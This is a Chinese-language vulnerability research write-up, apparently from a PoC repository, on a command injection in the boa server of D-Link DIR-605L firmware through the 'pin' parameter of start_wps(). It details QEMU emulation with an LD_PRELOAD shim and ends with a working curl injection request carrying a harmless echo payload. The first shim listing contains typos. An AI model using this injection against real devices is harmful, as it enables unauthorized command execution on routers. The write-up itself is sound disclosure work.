mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-08-17 09:34:45 +08:00
421 lines
8.1 KiB
Markdown
421 lines
8.1 KiB
Markdown
# CNVD-2026-28535漏洞挖掘分享
|
|
> 来源:https://xz.aliyun.com/news/92573
|
|
|
|
第一次自主漏洞挖掘,这里写一篇博客特此记录一下
|
|
|
|
|
|
## 漏洞信息
|
|
|
|
|
|
[固件地址](https://legacyfiles.us.dlink.com/DIR-605L/REVA/FIRMWARE/DIR-605L_REVA_FIRMWARE_1.13.ZIP)
|
|
|
|
漏洞文件:/bin/boa
|
|
|
|
漏洞函数:start\_wps()
|
|
|
|
函数地址:0x45aa28
|
|
|
|
|
|

|
|
|
|
|
|
|
|
该函数的调用方式不太一样
|
|
|
|
|
|

|
|
|
|
|
|
|
|
HTTP请求->获取pin参数->start\_wps()->sprintf拼接系统命令->system执行
|
|
|
|
在函数中,程序首先通过:v2 = \*(\_DWORD \*)(a1 + 268)获取 HTTP 请求中的用户输入参数。
|
|
|
|
然后通过:v3 = strstr(v2,"pin=");查找用户提交的 PIN 参数。
|
|
|
|
当参数存在时:wscd = (const char \*)(v3 + 4);获取用户可控内容。
|
|
|
|
之后程序直接执行:sprintf(failed,"iwpriv wlan0 set\_mib pin=%s",wscd);
|
|
|
|
将用户输入拼接到系统命令中,最后:system(failed)执行该命令。
|
|
|
|
由于用户输入未经过任何过滤,可以通过插入 Shell 特殊字符控制最终执行命令。
|
|
|
|
|
|
## 环境模拟
|
|
|
|
|
|
|
|
### 字符调用寻找报错
|
|
|
|
|
|
解包之后首先尝试运行
|
|
|
|
看文件架构
|
|
|
|
|
|

|
|
|
|
|
|
|
|
拷贝合适的调试工具
|
|
|
|
`cp $(which qemu-mips-static ) .`
|
|
|
|
运行boa文件发现初始化错误
|
|
|
|
|
|

|
|
|
|
|
|
|
|
直接去ida查找报错字符`Initialize AP MIB failed!`
|
|
|
|
|
|

|
|
|
|
|
|
|
|
所以这里需要apmib\_init返回true才能让函数继续执行
|
|
|
|
|
|

|
|
|
|
|
|
|
|
apmib\_init()不在 boa 主程序里面,它来自外部动态库(.so)
|
|
|
|
去找它的函数主体,在/lib/apmib.so文件中
|
|
|
|
用ida打开
|
|
|
|
|
|

|
|
|
|
|
|
|
|
分析可知apmib\_init()的作用:
|
|
|
|
初始化路由器配置数据库(MIB),从Flash读取硬件配置、软件配置、用户配置,然后建立内存中的配置结构,供 boa 后面的 Web 页面调用。
|
|
|
|
所以可以直接修改apmib\_init函数执行函数,让它直接返回1
|
|
|
|
创建apmib.c文件定义函数apmib\_init()
|
|
|
|
|
|
```
|
|
#include<stdio.h>
|
|
#include<stdlib.h>
|
|
int ampib_init(void)
|
|
{
|
|
//Fake it.
|
|
return 1;
|
|
}
|
|
```
|
|
|
|
然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件
|
|
|
|
`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared`
|
|
|
|
之后重新运行
|
|
|
|
|
|
```
|
|
sudo chroot ./ \
|
|
./qemu-mips-static \
|
|
-E LD_PRELOAD="/apmib-ld.so" \
|
|
./bin/boa
|
|
```
|
|
|
|

|
|
|
|
|
|
|
|
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
|
|
|
|
|
|
|
|
|
|
### ida调试寻找报错
|
|
|
|
|
|
|
|
```
|
|
sudo chroot ./ \
|
|
./qemu-mips-static \
|
|
-E LD_PRELOAD="/apmib-ld.so" \
|
|
-g 1234 \
|
|
./bin/boa
|
|
```
|
|
|
|
配置一下ida的远端调试信息
|
|
|
|
hostname设置为虚拟机的ip,port为你起的那个端口
|
|
|
|
|
|

|
|
|
|
|
|
|
|
在apmib\_get的跳转报错了
|
|
|
|
|
|

|
|
|
|
|
|
|
|
真正触发程序崩溃的是 0x43B1A4 处的指令
|
|
|
|
|
|

|
|
|
|
|
|
|
|
查看 apmib.so 中apmib\_get()函数的汇编代码
|
|
|
|
int \_\_fastcall apmib\_get(int n500, unsigned \_\_int8 \*p\_boot\_ver)
|
|
|
|
|
|

|
|
|
|
|
|
|
|
这个函数实际上是从路由器的配置数据库(MIB)里,根据编号 n500,把对应配置值读取出来,复制到调用者提供的缓冲区 p\_boot\_ver
|
|
|
|
apmib\_get(配置项编号, 存放结果的地址)
|
|
|
|
分析调用的实际情况知道每个pid对应的是什么
|
|
|
|
所以修改函数apmib\_init()
|
|
|
|
脚本中#define MIB\_WPS\_MODE 0x3B的情况是不是这里的读取信息,在之后对start\_wps()函数的讲解会讲到
|
|
|
|
|
|
```
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#define MIB_IP_ADDR 170
|
|
#define MIB_HW_VER 0x250
|
|
#define MIB_CAPTCHA 0x2C1
|
|
// WPS mode
|
|
#define MIB_WPS_MODE 0x3B
|
|
int apmib_init()
|
|
{
|
|
return 1;
|
|
}
|
|
// 防止boa初始化fork失败
|
|
int fork(void)
|
|
{
|
|
return 0;
|
|
}
|
|
int apmib_get(int code, void *value)
|
|
{
|
|
int *v = (int *)value;
|
|
switch(code)
|
|
{
|
|
// IP地址
|
|
case MIB_IP_ADDR:
|
|
*v = 0x7F000001; //127.0.0.1
|
|
break;
|
|
// 硬件版本
|
|
case MIB_HW_VER:
|
|
*v = 0xF1;
|
|
break;
|
|
// 验证码
|
|
case MIB_CAPTCHA:
|
|
*v = 1;s
|
|
break;
|
|
// ★关键
|
|
// start_wps:
|
|
// apmib_get(0x3b,&var)
|
|
//
|
|
// 0 -> 进入:
|
|
// iwpriv wlan0 set_mib pin=%s
|
|
//
|
|
case MIB_WPS_MODE:
|
|
*v = 0;
|
|
break;
|
|
default:
|
|
// 默认返回成功
|
|
*v = 0;
|
|
break;
|
|
}
|
|
return 1;
|
|
}
|
|
```
|
|
|
|
然后用gcc-mips-linux-gnu生成 MIPS 架构的 Linux 操作系统可执行文件
|
|
|
|
`mips-linux-gnu-gcc ./apmib.c -o apmib-ld.so -fPIC -shared`
|
|
|
|
然后就可以运行了
|
|
|
|
`sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="/apmib-ld.so" ./bin/boa`
|
|
|
|
|
|

|
|
|
|
|
|
|
|
但是跳转的页面是错的
|
|
|
|
|
|

|
|
|
|
|
|
|
|
需要改动 web 目录下的 first.asp 文件
|
|
|
|
将代码 self.location.href="Basic/Wizard\_Easy\_LangSelect.asp";注释掉,
|
|
|
|
然后将self.location.href="Basic/Wizard\_Easy\_Welcome.asp";复制到else 代码块
|
|
|
|
即
|
|
|
|
|
|

|
|
|
|
|
|
|
|
之后就可以成功访问
|
|
|
|
|
|

|
|
|
|
|
|
|
|
接着对start\_wps函数进行详细分析
|
|
|
|
|
|

|
|
|
|
|
|
|
|
|
|
|
|
要想执行到system命令注入入口
|
|
|
|
程序会对var/run/wscd-wlan0.pid和/var/tmp/wscd\_status两个文件进行校验,要先创建出这两个文件
|
|
|
|
|
|
```
|
|
mkdir -p var/run
|
|
mkdir -p var/tmp
|
|
touch var/run/wscd-wlan0.pid
|
|
touch var/tmp/wscd_status
|
|
```
|
|
|
|
并且传入参数中要以”pin=····“的形式传入
|
|
|
|
且`apmib_get(59, &n3);` 会获取wps配置,要继续修改apmib\_get的函数伪造多一种判断情况
|
|
|
|
`#define MIB_WPS_MODE 0x3B`
|
|
|
|
|
|
```
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#define MIB_IP_ADDR 170
|
|
#define MIB_HW_VER 0x250
|
|
#define MIB_CAPTCHA 0x2C1
|
|
// WPS mode
|
|
#define MIB_WPS_MODE 0x3B
|
|
int apmib_init()
|
|
{
|
|
return 1;
|
|
}
|
|
// 防止boa初始化fork失败
|
|
int fork(void)
|
|
{
|
|
return 0;
|
|
}
|
|
int apmib_get(int code, void *value)
|
|
{
|
|
int *v = (int *)value;
|
|
switch(code)
|
|
{
|
|
// IP地址
|
|
case MIB_IP_ADDR:
|
|
*v = 0x7F000001; //127.0.0.1
|
|
break;
|
|
// 硬件版本
|
|
case MIB_HW_VER:
|
|
*v = 0xF1;
|
|
break;
|
|
// 验证码
|
|
case MIB_CAPTCHA:
|
|
*v = 1;
|
|
break;
|
|
case MIB_WPS_MODE:
|
|
*v = 0;
|
|
break;
|
|
default:
|
|
*v = 0;
|
|
break;
|
|
}
|
|
return 1;
|
|
}
|
|
```
|
|
|
|
之后就可以尝试运行了
|
|
|
|
|
|
## 模拟攻击
|
|
|
|
|
|
还是起服务但是可以在gdb中调试
|
|
|
|
|
|
```
|
|
sudo chroot ./ ./qemu-mips-static \
|
|
-E LD_PRELOAD=/apmib-ld.so \
|
|
-g 1234 \
|
|
./bin/boa
|
|
```
|
|
|
|
另开一个窗口来调试
|
|
|
|
|
|
```
|
|
gdb-multiarch ./bin/boa
|
|
set architecture mips
|
|
target remote :1234
|
|
```
|
|
|
|
在进入system函数之前下断点,方便观察system函数的参数
|
|
|
|
|
|
```
|
|
b *0x45ab80
|
|
```
|
|
|
|

|
|
|
|
|
|
|
|
之后按`c`让它继续运行,期间他会停住等待输入
|
|
|
|
开另一个窗口发送参数(这里以echo>/var/run/cnvd\_test为例去测试执行)
|
|
|
|
|
|
```
|
|
curl --path-as-is \
|
|
'http://127.0.0.1/Basic/wifisc_add_sta.asp?pin=12345678;echo>/var/run/cnvd_test'
|
|
```
|
|
|
|
回到gdb调试窗口看参数
|
|
|
|
|
|

|
|
|
|
|
|
|
|
看到我们伪造的命令已注入,C让它执行命令
|
|
|
|
|
|

|
|
|
|
|
|
|
|
命令注入漏洞实现
|